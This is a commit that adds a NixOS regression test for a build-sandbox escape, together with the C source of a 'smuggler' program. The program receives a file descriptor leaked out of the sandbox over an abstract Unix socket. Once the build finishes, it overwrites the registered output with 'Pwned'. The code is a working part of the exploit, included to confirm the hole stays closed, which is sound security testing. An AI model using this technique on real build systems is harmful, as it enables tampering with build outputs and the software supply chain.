Add a NixOS test for the sandbox escape

Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.

tests/nixos/ca-fd-leak/smuggler.c

@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Bind to the socket.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+    int res = bind(sock, (const struct sockaddr *)&data,
+        offsetof(struct sockaddr_un, sun_path)
+        + strlen(argv[1])
+        + 1);
+    if (res < 0) perror("bind");
+
+    res = listen(sock, 1);
+    if (res < 0) perror("listen");
+
+    int smuggling_fd = -1;
+
+    // Accept the connection a first time to receive the file descriptor.
+    fprintf(stderr, "%s\n", "Waiting for the first connection");
+    int a = accept(sock, 0, 0);
+    if (a < 0) perror("accept");
+
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Receive the file descriptor as sent by the smuggler.
+    recvmsg(a, &msg, 0);
+
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    while (hdr) {
+        if (hdr->cmsg_level == SOL_SOCKET
+          && hdr->cmsg_type == SCM_RIGHTS) {
+
+            // Grab the copy of the file descriptor.
+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+        }
+
+        hdr = CMSG_NXTHDR(&msg, hdr);
+    }
+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+    close(a);
+
+    // Wait for a second connection, which will tell us that the build is
+    // done
+    a = accept(sock, 0, 0);
+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+    // Write a new content to the file
+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+    char * new_content = "Pwned\n";
+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+    if (written_bytes != strlen(new_content)) perror("write");
+}